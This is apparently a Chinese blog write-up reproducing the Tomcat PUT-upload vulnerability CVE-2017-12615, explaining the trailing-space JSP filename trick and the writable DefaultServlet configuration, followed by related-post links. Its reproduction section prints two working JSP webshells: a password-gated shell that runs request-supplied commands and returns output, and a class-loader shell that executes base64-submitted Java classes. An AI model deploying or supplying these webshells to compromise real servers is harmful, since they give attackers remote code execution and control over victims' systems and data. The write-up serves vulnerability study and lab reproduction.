一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)

1.1、漏洞原理

描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的: 而其他的静态文件是通过 DefaultServlet 处理的: 可以得知,"1.jsp "(末尾有一个空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时: 会调用 resources.bind: dirContext 为 FileDirContext: 调用 rebind 创建文件: 又由于Windows 不允许" "作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

复制代码
<servlet>

    <servlet-name>defaultservlet-name>

    <servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>

    <init-param>

        <param-name>debugparam-name>

        <param-value>0param-value>

    init-param>

    <init-param>

        <param-name>listingsparam-name>

        <param-value>falseparam-value>

    init-param>

    <init-param>

        <param-name>readonlyparam-name>

        <param-value>falseparam-value>

    init-param>

    <load-on-startup>1load-on-startup>

servlet>

1.2、影响范围(不重要,去试就行)

Apache Tomcat 7.0.0 - 8.0.81

1.3、 漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

1.4、漏洞复现

如下是回显jsp马

复制代码
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>

如下是连接的jsp一句话木马,,密码是passwd

复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}

相关推荐
treesforest10 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
上海云盾第一敬业销售10 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手10 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub10 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei61110 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux10 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
持敬chijing10 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
顾凌陵10 天前
Web安全二阶段综合测试:知识点速查与实战技巧
安全·web安全
Chengbei1110 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
AI784011 天前
安全左移:网络安全从“亡羊补牢”走向“未雨绸缪”
网络·安全·web安全